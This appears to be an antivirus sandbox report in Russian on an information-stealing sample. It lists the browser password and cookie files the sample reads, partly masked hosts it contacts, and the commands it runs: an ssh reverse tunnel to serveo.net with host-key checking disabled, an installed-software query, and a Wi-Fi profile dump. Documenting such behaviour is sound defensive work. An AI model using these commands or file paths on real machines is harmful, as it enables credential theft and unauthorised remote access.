Техническая информация
Вредоносные функции
Читает файлы, отвечающие за хранение паролей сторонними программами
- %LOCALAPPDATA%\microsoft\edge\user data\default\login data
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %LOCALAPPDATA%\google\chrome\user data\default\cookies
Изменения в файловой системе
Создает следующие файлы
- %HOMEPATH%\.ssh\known_hosts
- %TEMP%\tmp22d5.tmp.png
- %TEMP%\st_err.txt
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\<Имя файла>.exe.log
Удаляет файлы, которые сам же создал
- %TEMP%\tmp22d5.tmp.png
Сетевая активность
Подключается к
- 'ap#.#pify.org':80
- 'se##eo.net':22
- 'di##ord.com':443
TCP
Запросы HTTP GET
- http://ap#.#pify.org/
Другие
- 'se##eo.net':22
- 'di##ord.com':443
UDP
- DNS ASK ap#.#pify.org
- DNS ASK se##eo.net
- DNS ASK di##ord.com
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*' | Select DisplayName | Format-Table -AutoSize -HideTableHeaders"
- '<SYSTEM32>\openssh\ssh.exe' -o StrictHostKeyChecking=no -o ServerAliveInterval=30 -R 80:localhost:8080 serveo.net
- '<SYSTEM32>\rundll32.exe' <SYSTEM32>\FirewallControlPanel.dll,ShowNotificationDialog /configure /ETOnly 0 /OnProfiles 6 /OtherAllowed 0 /OtherBlocked 0 /OtherEdgeAllowed 0 /NewBlocked 4 "<Полный путь к файлу>"
- '<SYSTEM32>\tasklist.exe' /v /fo csv
- '<SYSTEM32>\netsh.exe' wlan show profiles
